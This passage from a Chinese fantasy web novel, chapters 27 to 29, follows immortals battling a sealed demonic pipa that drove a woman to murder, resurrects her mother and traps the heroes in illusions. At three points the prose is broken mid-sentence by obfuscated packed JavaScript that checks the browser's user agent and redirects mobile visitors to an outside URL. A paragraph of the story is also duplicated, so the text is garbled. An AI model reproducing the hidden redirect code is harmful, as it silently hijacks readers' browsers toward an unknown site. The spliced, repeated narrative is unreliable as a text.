“那现在……”明煦数着手指头,“加上厉贺千,二十五;如果也算上秦明正的话,就是二十六。” 她猛地转头看向柳滢容,一双眼睛睁得溜圆:“所以你现在只差一个恶魂了?” “是啊,只差一个了。”柳滢容低垂着眼帘,喃喃地重复着。 她望着面容纠结,似乎是不知该对着铸下大错的她说些什么好但又确实担心着她的明煦,面上渐渐现出一抹极为温柔,却又极为复杂的笑意。 “我还真挺喜欢你们的,可惜没机会做朋友了。”柳滢容深深地看了一眼身旁仍在担忧地注视着她的齐王,复又望向青晏,眸光中渐渐凝起一丝恳切的哀求,“答应我,看在我这么坦诚的份上,无论将来发生什么,不要让他想起来,好吗?” 在所有人都没反应过来之前,柳滢容猛地将齐王推远,同时最后一次按响了琵琶的琴弦。 温热的血伴着弦音,溅到那颗承载着她与齐王之间特殊回忆的红宝石上,将那道本就极浅的划痕遮得再也看不见。 那是她在最后关头从齐王腰间抽出的那把匕首,深深刺入自己心口之后喷涌出来的血。 柳滢容缓缓松开握住匕首的手,吃力地向齐王的方向望了最后一眼,可她实在太痛了,已经没有力气去分辨映入自己眼帘的究竟是什么。 她的双眼逐渐开始涣散,恍惚间自己似乎又回到了那个惬意清爽,日头一点都不毒辣的下午。 齐王笨拙地为她舞着刚学了没几天的剑,她依偎在娘亲的膝上,手指轻拨琵琶的弦丝,悠扬动听的乐音如同山间清溪般潺潺流淌,一直淌到那谁也望不到头的天边去。 “娘……” 柳滢容半睁着眼,苍白如纸的面容上释出最后一抹得偿所愿的微笑。 我终于集齐二十七条恶魂了。 你可以回来了。 快些回来吧。 ------------------ 这一切都发生得太快了。 纵然青晏在柳滢容将手推向齐王的那一刹那便毫不犹豫地施了一个十方锁术决,然而这本应禁锢方圆百里所有法术生效的法诀却仅仅阻拦了琵琶一息不到的时间。 就在柳滢容的血溅到琵琶上的那一瞬,这间本就已经摇摇欲坠的牢房里突然狂风大作,青晏心中猛地一沉,立即对其余三人道:“护好自己。” 言罢,她迅速降下数道防御法诀,将他们四人护了个严严实实,速度快到明煦他们还没来得及出手,身上就已经围了重重保护。 按理来说,前辈带着后辈出来游历,有任何意外情况都应尽量让后辈独自动手解决,这样才能起到锻炼他们的作用,然而这琵琶从头到脚都透着古怪,青晏压根不敢掉以轻心,让他们独自上前。 这琵琶先是莫名其妙以梦告知柳滢容其母死亡真相,后又多番暗示其可以通过集齐二十七条恶魂的方式来复活其母。可天下哪里来的这样的法子? 27.复活 这一切都发生得太快了。 纵然青晏在柳滢容将手推向齐王的那一刹那便毫不犹豫地施了一个十方锁术决,然而这本应禁锢方圆百里所有法术生效的法诀却仅仅阻拦了琵琶一息不到的时间。 就在柳滢容的血溅到琵琶上的那一瞬,这间本就已经摇摇欲坠的牢房里突然狂风大作,青晏心中猛地一沉,立即对其余三人道:“护好自己。” 言罢,她迅速降下数道防御法诀,将他们四人护了个严严实实,速度快到明煦他们还没来得及出手,身上就已经围了重重保护。 按理来说,前辈带着后辈出来游历,有任何意外情况都应尽量让后辈独自动手解决,这样才能起到锻炼他们的作用,然而这琵琶从头到脚都透着古怪,青晏压根不敢掉以轻心,让他们独自上前。 这琵琶先是莫名其妙以梦告知柳滢容其母死亡真相,后又多番暗示其可以通过集齐二十七条恶魂的方式来复活其母。可天下哪里来的这样的法子? 就算真有这样阴毒的法术,成功施行一个法术所需要的材料、时辰、方位等等一切再细微不过的地方都是极其精准的,绝不会是语焉不详的“恶魂”二字就能概括。 什么行为才算恶?评判标准是什么?这些恶魂死于何时何地才能被琵琶完整吸收?被琵琶吸收后的魂魄是否还会去往幽冥界? 若会,那明显死于琵琶下,却又能从幽冥界被唤来盘问的那两个魂魄究竟是怎么回事?而若不会,琵琶到底怎么通过收集这些恶魂恢复能量? 极有可能的是,这琵琶压根不需要通过吸取别人的魂魄恢复能量,它需要的,是柳滢容心甘情愿地去主动杀人。这就解释了为什么简简单单的“恶魂”二字便足够,因为善恶与否全然系于柳滢容一念之间。 一旦认定此人为恶并在心中默念过他的名字,便已经算完成了一次主动杀人,继而牵引出一道内心深处的纯粹恶念以助琵琶恢复力量。 而秦明正及柳滢容自己的死亡则更是不假他人之手的主动杀人,也是柳滢容的恶念最为强烈纯粹的释放,想必此举极大地助长了琵琶的法力恢复,使得它能够成功阻挡刚才那道十方锁术决。 可既有如此神通,又何需借助柳滢容来恢复能量?除非,是有什么东西在限制着它无法主动杀人…… 封印。 这琵琶是一个灵智已开的、有着封印的,罕见邪器。 这几个字背后蕴藏的冰冷含义让青晏的精神一下子紧绷起来,她立刻对明煦几人飞快道:“速速立下固封结界,那琵琶的封印要解了!” 明煦虽依然沉寂在对柳滢容决绝自尽的极度震惊中,然而“封印要解了”这几个字登时如同一根从天而降的木棒将她迅速敲醒。她立即施起法来,手上动作速度快得让人都要看不清。 开玩笑呢,这天底下哪有什么好东西是需要加上封印的?多少话本都把那道理讲得明明白白,有封印的东西不要手欠去打开,不然轻则尸横遍野,重则毁天灭地,回头还得牺牲掉不少性命才能将那魔头或是大妖的再度镇压回去。 更何况以青晏的性子和本事,这琵琶要是个好解决的东西,那防御法诀还能连她们俩这种在游历中不应该主动插手的前辈都一起给套上? 设立结界想来也是为了提防这琵琶会使出什么范围极广的招数伤害到普通人,这就更说明事态确实有点严重,连青晏都不能保证可以在第一时间拿下它…… 然而还没待他们完成结界,无数道疾如闪电的虚影从尚未被完全封锁住的结界空隙汹涌奔入,不断汇聚于正迸射出震天动地之音的琵琶之中。 随着大量虚影的不断融入,那琵琶的身形逐渐变得膨胀恢弘,就连乐音也愈发激越响亮起来,狭小的牢房内仿佛有着无数把琵琶在同时弹奏,各种错综复杂的曲调仿佛生出了自己的意识般不停交织缠绕,让人心神齐乱。 一部分旋律将状若疯魔般向柳滢容踉跄扑来的齐王瞬间钉在原地,将他那已经双目猩红、扭曲可怖的面容逐渐恢复到平缓茫然的模样,最后沉沉睡去;而另一部分则向结界空隙攻去,试图继续扩大那道裂缝,好让更多的虚影进入。 青晏将已经陷入昏迷的齐王从裂缝处送到结界外,随后双手一展,手中玄元镜飞身至结界裂缝处,将其堵得严严实实,颜故趁机将完成结界的最后一道法诀施下,紧接着随明煦与唐禾对着琵琶发出一连串凌厉的攻击。 琵琶起先还能稍作抵挡,可青晏手势一变,玄元镜登时光芒大盛,结界内的诸多虚影在如此强烈的光芒照射下登时烟消云散。 没了虚影的补充,琵琶乐音渐低,轮廓也开始逐渐缩小,身上更是显现出了数道裂痕。其中一道裂痕略有些深,隐约可见琵琶里有猩红的符咒流转闪烁,想必那便是禁锢着它的封印了。 青晏略松了一口气。 既然封印还在,那便问题不大,只要那些疑似为恶念的虚影尽数消散,便无法为琵琶提供足够解除封印的力量。 只是她仍未想明白,这琵琶竟完全没意识到周围有四个神仙的存在么?换作是她,定会选择更为隐蔽的时机尝试突破封印,除非…… 她心下一凛,几乎是以迅雷不及掩耳之势的速度施法将柳滢容的尸身托起。而几乎在同一瞬间,颜故面色一变,立刻撤去了身旁的一小片结界,转头对青晏急切道:“这里!” 然而他们还是晚了一步。 乐音猛然间轰鸣四起,每一音每一律都急乱狂悖,好似琵琶在用尽自己最后的力量拼着给出致命一击。 青晏挥袖将这些攻击尽数挡下,然而眼见着柳滢容的尸身就要被送出结界之时,四根琵琶弦竟齐齐崩裂,发出了一声清脆凄厉的巨响。 “嘣——” 这声响如同九天神雷般瞬间炸裂在小小的牢房中,震得所有人心头巨颤,连喉间都跟着沁出血来,青晏的法术也应声而断。 柳滢容的尸身失去了支撑,直接从半空中重重摔落在地,却很快又被琵琶断裂之声的回响扶坐起来。 青晏深吸一口气,示意颜故将结界重新修复好,接着手指如同穿花引蝶般连连点动,纯净又强烈的白色光芒逐渐在她指尖明亮起来。然而就在那光芒即将达到巅峰之际,青晏却骤然收回指尖的光芒,转而以一种更为凌厉的姿态,向柳滢容的身躯和琵琶同时攻去。 明煦他们虽没太明白青晏为何突然开始对已经死去的柳滢容也发起了攻击,但秉持着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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无数的记忆和感受如潮水般顷刻间涌入她的脑海,叫她头痛欲裂,恨不得将什么呕出来才能罢休。 先是临终之际对女儿的眷恋与不舍,得知自己死亡真相的悲凉与愤恨,接着就是像被蒙在一块透着血色的纱幔后面,动不得喊不得,只能眼睁睁看着自己的德音寝食难安彻夜难眠,看着她五雷轰顶肝肠寸断,看着她颠沛流离四处奔波,看着她一天天一点点被蚀骨的仇恨焚烧殆尽,最后看着她血花四溅,魂消魄散…… 她看不见,也听不见,只是痛得恨不得甩掉正在她每一处骨缝切磨着的钝锯,扯出那些毫无章法地锥在自己心间的锈钉。 似乎有什么东西正在她破碎不堪烂如肉泥的心中疯狂汲取着她之前人生中从未有过,但如今却源源不断疯涨着的炽烈恨意,但她不在乎,也不关心。 柳母摇摇晃晃地爬了起来,声音如同咽下了一把地上的碎石般粗糙嘶哑:“那时候……你们在哪里?” 青晏避过琵琶发疯似的抽过来的琴弦,皱眉道:“什么?” “秦明正害死我的时候你们不在,那些畜生对我女儿嘴里不干不净的时候你们不在,”柳母的声音猛地尖利起来,“为什么要在偏偏就差一个恶魂就能让我们母女团圆的时候出现?为什么要直到所有人都错得不能再错的时候才出现!!!” 28.缠斗 “哈哈哈哈哈哈哈!”仿佛听到了一个蠢问题,那清脆童音笑得愈发欢畅,“因为他们是高高在上的神仙呀,他们眼中只有整个世间的平衡与安宁,才不会管你个人的死活。” 它得意道:“所以你看,还得是我好吧?我遵守了和你女儿的约定,让那小子失忆,也成功复活了你。” “而现在,轮到你来帮我啦!来,我们一起杀了他们,只有这样,我才能继续去拯救更多更多和你,还有你女儿一样的可怜人呐!” 唐禾回身就是一扇,愤怒道:“胡说!各位神仙均有自己的专属职责,天地阴阳、人间喜乐,万事万物均在天界神仙的照看范畴!然而这世间发生的所有事都是因缘而生,神仙绝不应该介入普通人的因果,去改变这个人今生今世,乃至后世轮回所有的业力轮报!” “你好好想一想,如果没有这琵琶横插一手,秦明正死后本该由幽冥判官清算其生平罪孽,而你女儿纵然依旧会因为你的离去而悲闷苦痛,但不知真相的她或许并不会踏上如今这条绝路,而是极有可能会和齐王白头偕老平安一生!承安郡那二十几个虽德行有亏但罪不至死的人,也不会像如今这般早早命丧黄泉!” 他指着已借由柳母爆发出来的浓烈怨恨重新长出弦来的琵琶:“如果不是它,后面所有的一切都不会发生!它才是那个故意利用你女儿的命和仇恨,来解开它自己封印的罪魁祸首!” “你胡说什么!闭嘴!”那童音气急败坏地大叫。 可柳母却似乎什么都没听进去。 她站在原地,几近崩溃地捂住自己的双耳,发出阵阵几乎要将自己彻底撕裂般的悲号。 随着柳母悲号的声音越来越大,重新长齐了琴弦的琵琶的法力也越来越强,凛冽杀意如同巨浪般扑面而至,竟将唐禾推得踉跄起来,口中也涌出比方才浓烈得多的鲜血。 明煦急了,挥枪跃身向琵琶砍去,可枪尖却像被什么黏糊糊的东西缠住了一般,愣是被拦在琵琶身前一寸处,任凭她如何催动法力都无法向前。 颜故见状眸光一沉,手中长剑寒光闪烁,却是对着柳母直刺而去。 然而电光火石间,一根断裂的废弦犹如灵蛇出洞,精准无误地抽打在颜故持剑的手腕上。颜故只来得及感到一阵几乎要将他手腕粉碎的剧痛,手中的长剑险些脱手飞出。 那孩童的声音不满道:“干嘛呀!要不要脸!” 颜故左手拂过已经高高肿起的右腕,冷冷道:“比不得你恬不知耻。” 他活动了一下已然恢复如初的手腕,继续提剑向柳母攻去。 琵琶像是被他气急了,什么花里胡哨的招数都一股脑地往他身上扔。颜故行云流水般地挥剑抵挡下大部分招数,纵使身上已出现道道血痕,脚步也略有不稳,却依旧坚定地一步步向柳母迈去。 明煦和唐禾也不再对琵琶进行攻击,而是齐心协力朝着柳母释出伴着熊熊火焰的烈火风卷。 一时间狭窄的牢房内剑光四起,烈焰似海,然而在琵琶暴雨般疾射的嘈嘈乐音保护下,柳母竟几乎没受到半点伤害,依旧紧抱着头,喉间不住泣血悲鸣。 琵琶表面虽已被火舌舔舐得略显焦黑,但见他们三个奈何不了自己,还是抽空得意地在空中摇摆了两下。 它刚想开口再嘲讽几句这些整日里高高在上却打不赢自己的神仙们,余光里却见到青晏面无表情地从她那面镜子中抽出一柄通体漆黑的修长古剑,带着破天的磅礴法力,和笃定它避无可避的决心,以不可思议的速度向它稳稳刺来。 伴随着一道尖锐而短促的“嚓”声,琵琶面板上登时破开一道极深的口子,露出里面已经所剩无几的猩红封印。 那道童音瞬间发出撕心裂肺的尖叫。 青晏就在这刺耳的尖叫声中缓缓转着剑身,沉声道:“魔界五大至邪法宝之首,裂魂琵琶,是你吧?” 那童声噤声了一瞬,接着再度不管不顾地嚎叫起来——因为青晏的剑身刺得更深了。 青晏盯着那颗被血色浸染的红宝石,继续道:“我听说当年魔尊风烬控住幽冥界时,足足耗费了十万幽冥怨魂才炼制出一颗离怨之心,又取了上古魔兽震苍身上最柔韧的筋脉做弦,每千年才能长出三寸的天下至阴云隐哑木为身,耗尽了无数天材地宝才大费周章打造出来一个你。” 她饶有兴趣地打量着不住颤抖着的琵琶:“可没想到成型当日你不仅没能为他所用,反而在他刚刚拨动琴弦时便灭杀了方圆千里内的低阶魔族,就连风烬自己也险些被你所伤,不得不联合其他三位高阶魔族各自耗费了一万年的精纯修为将你封印起来,而后束之高阁。” “据说风烬深以为耻,当即严令在场还活着的魔族不得向外透露半句,更是连下三道强横咒法以保此事永不外泄。” 青晏面带微笑,语气也如同谈论家常般温和,然而手下古剑却刺得越来越深:“我非常理解他的做法,毕竟如果是我倾尽心血造出一个足以毁天灭地的至邪法宝意图拿来征伐他界,却不料首先被毁灭的竟是自己的族人,我也会为了不成为诸界茶余饭后的固定笑柄而采取如此手段。” 漆黑古剑的剑身逐渐没进琵琶内,一道纵向的裂痕自被刺处向琵琶两端逐渐蜿蜒,直叫那云隐哑木制成的面板发出不堪重负的吱呀声,眼见着就要被整个撕裂。 受此重击,那童音的叫声如冲天般凄厉,却依然有精力对着青晏破口大骂,难听的词一个接一个地往外蹦,许久也不见重样。 明煦几人本来正在一边为琵琶的来历震惊,一边小声商量着到底还要不要对那位已失去琵琶庇护、手无寸铁且刚经历丧女之痛的柳母继续动手,结果猝不及防地听到琵琶喷涌而出的污言秽语,一瞬间脸色全都难看极了。 可青晏却对此充耳不闻,反倒以一副近乎戏谑的好奇口吻继续道:“只是这故事着实太好笑了些,我刚开始听说的时候还以为是谁编着玩的,登时便抛之脑后了,所以导致现在才想起来你这码事。” “不过看来这故事大体上应该就是这么个走向,或许只是在某些细枝末节上有所出入。那么,作为‘主角’之一,你可否愿意为我们修正一下这个故事?” “啊啊啊啊啊你个贱人!你休想!你休想!!!我一定要杀了你!!!”童音崩溃大叫。 青晏闻言微微歪头:“那真是太遗憾了。” 随着一声凄厉刺耳的尖叫,琵琶那闪着柔和绸缎般光泽的面板沿着那道纵向的裂痕彻底崩裂,无数木屑碎片四下飞溅,传说中以上古魔兽震苍筋脉制成的琵琶弦也散落一地,再发不出一丝声响。 青晏微微松了口气,心念一转,手中那柄通体漆黑的修长古剑瞬间消散。 没了琵琶的控制,柳母渐渐止住了哭号,只是泪水仍在不由自主地潸然滑落。 青晏走到她面前,看着那张和柳滢容一般无差,只是被无尽的愧疚、心疼和痛苦侵染了的绝美面庞,心中思绪纷飞,可却什么都说不出口。 能说些什么呢? 是说你女儿罪行滔天,手上沾满了足足二十余人的鲜血,如今这般结局乃是罪有应得?还是说这是一场早已被设置好的圈套,你女儿从重新拿到琵琶的那一天开始就已经注定会走上这条道路,叫她不要太过伤心? 可仿佛怎么说,怎么做,都不对。 罢了。 青晏心中不禁发出一声喟叹,双指向柳母眉间探去。 毕竟柳母的复活是由琵琶一手造成,也不知这复活回来的到底是柳母全部的灵魂,还是仅仅由执念及恨意凝聚而成的碎片? 如果琵琶真的承受了复活凡人所需付出的沉重代价,将柳母完整的灵魂从幽冥界重新带回凡世,那最好的办法或许是让她忘了这惨痛的一切,以柳滢容的身份继续平淡安稳地存活下去。 可就在青晏的手指即将触碰到柳母皮肤的那一瞬,角落里那具死得不能再透的秦明正的尸身竟倏然飞至柳母面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14081261|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,掉落一地的碎肉散发出浓烈刺鼻的血腥气息。 他用仅剩的一只眼睛死死地盯住柳母,咧开自己满是血污的嘴,对着目眦欲裂的她发出了一声低沉而恶毒的笑:“两个蠢货。” “你在说什么啊快闭嘴啊!!!”明煦大吼。 青晏感到一股寒意迅速爬上脊背。 她猛地扭头,发现身旁秦明正的尸体肩头上,竟不知何时悄无声息地搭上了一根琵琶弦。 青晏当即飞速伸手点在柳母眉间以封闭她的意识,掌心紧贴明煦脊背,急促道:“净焱神火!” 净焱神火,天界威力最强的三大神火之一,却也是三大神火中最难掌控的一种。 不像炽日天火和玄穹灵焰需要极强的法力才能施展,净焱神火的施展条件简单得多:只需心中参透净焱之意即可,只不过释出的神火威力强弱会与自身法力高低有所关联罢了。可偏生就是这参透二字最是难得,因此天界只有寥寥数位神仙能够施展此火。 而明煦虽不擅仙法,却奇迹般地成为了这几位幸运儿之一——只不过她的修为委实不太高深,所以每次努力过后冒出的火苗大概只有初三耳朵尖上的茸毛那么细,若不仔细盯着,还真不一定能看得见。 但此刻的明煦四肢百骸内都充斥着青晏源源不断的澎湃仙力,是以她心念一动,巨大的火焰猛然窜起,像是有着自己的意识般迅速烧向秦明正的尸身,和那散落满地的琵琶碎片。 她的速度已经够快了,可就在秦明正话音刚落的一刹那,神志本已逐渐清明的柳母眸中再度燃起了比方才刻骨百倍千倍的恨意。 她鬓边青筋暴凸,浑身上下的关节处似乎都在发出“咯咯”的异响,被胸膛中紧紧交织缠绕在一起的憎恨、怨恨和悔恨驱使着,毅然决然地扑向了身上已燃起炽热烈火的秦明正。 他们二人互相用力地纠缠撕打着,彼此喉间发出一声比一声高的凄厉咒骂与号叫。本已散落一地的琵琶碎片就在这不似人间应有的漫天恨意中,伴着熊熊烈火烧灼发出的噼啪声,逐渐恢复成型。 青晏不禁心惊。 为什么这传说中的裂魂琵琶,竟能连以她的法力所发出的净焱神火都不怕?那到底应该怎么对付它? 颜故与唐禾见势头不对,立即调动全身法力对琵琶发起猛烈的攻击。然而琵琶却对这铺天盖地而来的攻势避也不避,甚至并未对他们发起任何反击。 事实上,它没有对任何人发起攻击,而是专心致志地奏起了一支尖锐急促、铿锵激越的曲子。无数道看不见的乐符层层叠叠地荡开来,将那本牢不可破的结界撞出细细裂纹。 青晏见状立即从玄元镜中再度抽出那柄修长古剑,然而还未待剑身从镜中完全抽出,一阵低沉而悠长的嗡鸣就让她瞬间变了脸色。 那是结界即将碎裂的预兆。 可这个固封结界本就是专门用来禁锢和封印有着强大法力种族的结界,就连有着万年深厚修为的大妖都不曾在青晏所设下的固封结界中逃脱,可如今这本该牢不可破的结界,却正在琵琶纷飞四溅的乐符中,被一点点地打碎。 不行,不能让它把结界打碎,否则人界危矣! 青晏一边飞速修补着摇摇欲坠的结界,一边分神试图阻止琵琶继续演奏,狂涌而出的法力将她的衣袂卷得上下翻飞。 烈火中秦明正和柳母在不住的纠打间与琵琶靠得越来越近,直至他们二人的身体和各自浓烈的恨意在冲天的火光中与琵琶融为一体。 吸饱了深入骨髓之恨的琵琶的身形开始势不可挡地疯涨,轻而易举地将牢房脆弱的屋顶撞破。那首仍在演奏着的乐曲在漆黑夜幕的笼罩下已变得似雷鸣般隆隆作响,音调也愈发急促。 似乎只过了短短一瞬,伴随着一道震耳欲聋的爆裂声,无数光点碎片从裂缝中迸射而出,生生将那浓郁的夜色晃得亮如白昼,也将所有人的双眼都刺得生疼。 困住琵琶的结界,已然彻底崩毁。 29.操控 没了结界的阻挡,数不清的怨念从四面八方朝琵琶疾飞而去。 随着琵琶吞噬的怨念越来越多,它体内流转着的猩红封印颜色越来越淡,流转速度也越来越滞涩,那云隐哑木制成的面板上也逐渐显露出一道道形状诡奇的字符。 至此,魔界五大至邪法宝之首——裂魂琵琶的真容已经彻底显现于世,随之展露的,还有那浓重得仿佛要将一切都吞噬殆尽的汹涌魔气。 唐禾很快表现出了明显的不适。 他连站都站不住了,仿佛有千斤重担从各个方向朝他缓缓压去,直至将他压成齑粉才肯罢休。 唐禾勉力运转起仙力,试图抵御那比他自身修为高出数十倍的魔气侵蚀,可却收效甚微,就连意识也逐渐变得模糊。 明煦想要去帮他,可自己却也开始摇晃起来,表情也逐渐变得痛苦。颜故单膝跪地,右手紧紧握住的剑深深扎入地面,仿佛靠着剑尖的支撑才没有倒下。 他抬眼看向青晏,却又很快垂下眸去,牢房里本就昏暗,无人看得清他此刻的神情。 青晏见状双指一并,玄元镜登时便耀出熠熠神光,柔和温暖的光芒如同一层轻软的护罩笼在明煦、颜故和唐禾身上,瞬间便极大程度上减轻了他们身上的不适感。 就在这时,琵琶再次开口了。只是这次,它的声音不再如孩童般清脆,反而更像是一个体魄渐成的少年。 它的语气也不再急躁,而是带着一股高高在上的压迫感,从容不迫道:“用云隐哑木燃烧时的火焰淬过的剑确实可以对我造成伤害,我很惊讶你居然能知道这一点,看来你还是有几分本事的。” “然而你不知道的是,就算是这样堪称举世难得的剑,也不过只能对我被封印住的弱小躯壳产生些微不足道的影响罢了。对于现在的我来说……” 琵琶哼出一道阴冷得意的笑:“那不过就是把随处可见的破铜烂铁。” “怨念与恨意,才是我真正的力量源泉。只要这世间的恨和怨足够浓烈、足够深沉,我就能够借助这些力量重新塑造自己,无数次重获新生。” “现在,唯一能控制住我的那道封印已经被彻底解除,我很期待你还能用什么样的可笑手段来妄图禁锢住我。不过若是想活命的话,我劝你还是乖乖地……” 青晏根本没听它在絮叨些什么,只是飞速在自己识海中翻找着应对办法。 淬过云隐哑木火焰的剑,是她偶然间在一本古籍中读到的唯一能压制云隐哑木能力的法器。结合那个离谱传闻中裂魂琵琶的构成,她才敢以幻术从镜中幻出此剑大胆一试。 事实上,她甚至不能确认世间是否真有这种剑,毕竟那云隐哑木千年才能长出三寸,谁会舍得拿它当柴火来烧? 但青晏认为有,那便可以有。就算幻出的剑威力不如真实的剑般强烈,但有了她法力的额外加持,想必也能起些作用。 只是没想到,虽然这作用已经大到足以将琵琶彻底撕裂,然而它还是能通过复活秦明正的方式从柳母处获得更纯粹更强烈的恨意,从而再度蓄积能量,破开封印。 现在该怎么办?他们四个的法术攻击对已解开封印的琵琶来说几乎无法再造成致命伤害,就算拼死耗尽全部修为,也无法保证能再次成功封印住琵琶,反而有可能激怒它,使其对方圆千里内的数十万凡人大肆杀戮。 不过话说回来,琵琶此前杀人时一直是用的诅咒,为何刚才却不对他们使用此法? 是因为没有操控者的意识,诅咒无法更改,而他们几人完全不符合柳滢容的杀人标准吗?那么解开封印后,琵琶施展诅咒是否就不再受限? 青晏的心绪愈发不宁起来。 见她迟迟没有任何反应,琵琶深感自己受到了莫大的侮辱。 它咬牙切齿道:“好,很好,既然你没什么想说的,那我便信守自己方才许下的承诺,现在便来杀了你!” “为什么要杀我?”青晏一边反问,一边暗暗在掌心内运起法诀,“你恨的不应该是封印住你的风烬么?我们只是正在完成自己分内之责的普通神仙,今日换做是别的什么东西杀了人,我们也是要加以干预的,并非是与你有什么私仇。” “可风烬就不同了,是他非要强行把你制造出来,然后又不由分说地给你设下重重封印。你的当务之急难道不是应该重返魔界,好杀了他泄愤吗?” 琵琶沉默了一瞬,似乎真的在琢磨青晏话中的道理。 然而很快它便勃然大怒,厉声咆哮道:“你以为我傻吗!无论我和风烬两个谁杀了谁,你们这帮神仙都高兴不是吗!你们,你们天界没有一个好东西!” 琵琶愤怒的咆哮尚未完全消散,一阵绵软诡异的弦音却突然开始静悄悄蔓延,如同细丝般轻轻缠绕上耳畔,带着几分难以言喻的寒意,缓缓渗透进脑海的每一个角落。 青晏此前从未听过如此怪诞阴森的乐曲,一颗心不由得提得更高了。她立即扭头看向其他三人,眼前却毫无他们的身影,取而代之的是一片雪茫茫的空白。 “明煦?”青晏试探着询问的声音仿佛也被淹没在了这片空白之中,没有得到任何回应。 她又试着叫了颜故和唐禾的名字,得到的也只有沉默。 空中弥漫着死一般的沉寂,就连原本萦绕不绝的琵琶弦音也随之销声匿迹。 青晏向前走出几步,但周遭的景色却没有丝毫变化,仍然是那片望不到边的、令人心头战栗的诡异空白。 她试着完成刚才掌心里施到一半的法诀,可掌心里却空空如也,连半点应有的反应都看不见。 这是怎么了?好像整个乾坤轰然倒塌时唯独忘了她一人,难道这就是裂魂琵琶当年差点控住风烬时所用的招数? 青晏心急如焚。 不行,不能再耽搁了,还不知道明煦他们如今正面临着什么样的局面,必须赶快想出一个办法来。 她逐寸观察着周围的空白,发现这一片虚无并非静止不动,而是会随着她的行进而逐渐荡漾开来,就像行走在广阔无垠的海面上,每一步都会随着不断向前蔓延的海浪,看见更多无边无际的海。 紧接着她又摸了摸脚下的地面,指尖触感丝毫没有方才所处牢房内的粗糙不平,满地尘土,反倒是细腻如脂,平滑如镜。 青晏站起身来,唇边勾起一抹笃定的淡笑。 这场面她见过。 这片空白分明是一个完全靠法力硬生生堆砌起来,丝毫没有任何细节填充的幻境,通常由初学幻术者造出。因为施法时构想得不够全面,所以一旦幻境中的人去往了施法者没预想到的地方,或是做出了什么令人难以预料的行为,眼前便会出现这样的空白。 要想成功施展一个幻境,除了全面的设计、细致的构思、精准的施法、灵活的应变机制外,自然还需要强大的法力才能维系幻境的运转。 她倒是不怀疑琵琶法力的强大,不然也无法使她成功进入这样的空白幻境里。所以这样看来,想必是这幻境中的具体指令对她来说无效了。 不知会是道什么样的指令? 青晏闭上眼,开始专心致志地在脑海中细细勾勒出牢房的样子。 这种幻境还是很容易解的,只需要精确地描摹出自己进入幻境之前的所在之处,便能迅速返回现实。 青晏的思绪飞快蔓延着,每一块砖石的残破边缘,每一道裂痕的蜿蜒轨迹,每一粒细微的尘土颗粒,每一处交错的缤纷光影,甚至那琵琶上扭曲诡异的字符,都被她一一还原。 很快,她耳中逐渐响起了琵琶尖锐的狂笑声,鼻间也闻到了秦明正和柳母弥留在空中的皮肉焦灼后的气息。 她猛地转身,目光急切地搜寻着明煦的身影,很快便发现明煦正倒伏在布满尘土的地面上,双眼紧闭,全身都被汗水浸透,齿间也不断发出“咯咯”的碰撞声,仿佛正承受着难以言喻的彻骨煎熬。 “贼子……野心……”明煦的声音微弱而颤抖,每一个字都像是从牙缝间艰难挤出,伴随着断断续续的喘息,“杀……必须……杀……” 不远处,颜故宛如一座凝固的雕塑般委坐在地,面色惨白如雪,那双往日里总是闪烁着温和笑意的眼睛此刻却失去了所有神采,空茫得令人心惊。 而唐禾则捂着腹部蜷缩在一块石板上,口中不住小声哀求着:“别吃我妹妹……吃我吧……我比她大两岁,肉更多……” 青晏快步上前握住明煦仍在不断握拳砸向地面的手,喉间迅速泛上一股酸涩感。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14093146|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琵琶则是懵了。 为什么,为什么这个神仙能从自己的幻境里逃脱? 它虽然没见过其他神仙,可却也知道从自己诞生之时起,就从未有人能从它缔造的幻境中离开,就连魔尊风烬也是靠着他那身深不可测的无上魔功硬生生击碎了幻境才得以逃脱的,面前这个普普通通的神仙又凭什么? 青晏以宁心术拂过明煦眉间,又迅速也对颜故和唐禾施了同样的法术,随后定了定神,射向琵琶的目光冰冷阴沉:“什么幻境,说。” 琵琶本就因为青晏能从幻境中迅速脱离而气急败坏着,听见她这么强硬的口吻,情绪顿时更加崩溃了。 它歇斯底里地叫道:“我凭什么要告诉你!你算个什么东西!” 随即它琵琶弦狂颤着奏出一大段杂乱无章的乐曲,试图再将她拉回到幻境中。 青晏站起身来,不受任何影响地,一步步地朝着已经在胡乱爆出各种音符的琵琶逼近:“不说是吗?” “没关系,我可以猜。”她的语气似刀刃一般锋利阴冷,“你这幻境,能让人陷入此生最绝望痛苦的回忆里,一旦陷入便无法摆脱,只能永无止境地沉沦下去,对吗?” 琵琶的乐声戛然而止。 “看来我猜对了。”青晏的目光没有一丝温度。 她手腕猛地一沉,在她手中浮沉着的玄元镜瞬间耀起巨大炽烈的光芒:“立刻解除他们三个的幻境,这是你最后一次机会。” 琵琶气得发出呼哧呼哧的声音。 它生来便是个横强霸道的法宝,就连对魔尊风烬也不曾主动服过软,可如今对着这个让它捉摸不透的神仙,琵琶第一次感受到了什么叫做人在屋檐下不得不低头。 